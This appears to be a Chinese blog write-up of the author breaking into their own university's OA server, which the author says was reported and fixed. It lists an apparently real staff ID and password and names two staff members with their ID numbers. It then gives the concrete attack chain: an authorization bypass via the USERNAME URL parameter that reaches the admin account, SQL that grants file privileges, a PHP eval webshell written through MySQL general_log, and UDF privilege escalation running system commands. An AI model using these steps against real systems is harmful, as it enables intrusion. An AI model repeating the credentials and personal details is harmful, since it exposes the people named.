俗话说:黑不了自己学校的黑客不是好黑客。这次我也像大多数黑客那样,黑了自己的母校,并且漏洞已经报送给学校修复后才写的文章。
信息收集
前期信息收集很重要,收集到的信息(下面要用到的)如下:
工号:9920110059
密码:123456asdf # 这个账号密码是统一认证平台的
丁艺,id:1020130039,国防科技学院
毛光灿,1020030085,计算机科学与技术学院
OA的越权漏洞
登陆oa的方式有三种:注册用户,猜测用户的账号密码,和统一认证平台身份登陆
1.注册用户需要管理员审核,行不通
2.前期信息收集到的工号密码不能登陆oa 显示密码错误
3.收集到的工号密码可以登陆统一认证平台,但是没权限访问oa,如图
该用户被设置禁止访问oa的,但是注意URL:
http://oa.swust.edu.cn/logincheck_pt.php?USERNAME=9920110059
看到了一个地方USERNAME=工号,大胆猜测这里应该有越权,用前面收集到的工号试试
噗嗤,可以直接绕过,在教师的oa里面找了一圈也没看到可以利用的点。
那这就结束了吗?
当然不是!
既然这里要的是USERNAME,我们只要找到管理员的用户名就可以登陆管理员的用户了吧
管理员的用户名怎么找:猜呗!
http://oa.swust.edu.cn/logincheck_pt.php?USERNAME=admin
可能我运气好,直接猜中username=admin登陆了后台
GETSHELL
进了后台先收集一波信息:
OA服务器信息
物理路径
PHP&MYSQL信息
部分开放的端口
GETSHELL的要点
这里有个数据库用户管理,可以添加用户,添加一个用户,然后navicat链接
去mysql数据库看了一下,我创建的用户的权限和root用户的权限是一样的,但是都没有file权限
1 | UPDATE user set File_priv ='Y'; |
这样就有了权限了,但是还不能导出文件,secure_file_priv也没有限制导出文件,用另外一个方法
1 | set global general_log=on;set global general_log_file='路径/t.php';select '<?php eval($_POST[t]) ?>'; |
菜刀链接测试:
提权
有很高的MYSQL数据库权限,就选择UDF提权吧。
mysql的pulgin路径:D:\MYOA\mysql5\lib\plugin\
但是不能导出dll,那只能在本地将dll导出,然后上传上去
创建函数:
1 | create function shell returns string soname 't.dll'; |
函数已经创建是我之前创建过了,执行命令查看权限:
1 | select shell('cmd','whoami'); |
后面的截图没了,很顺利的进入了服务器,也没什么可以写的.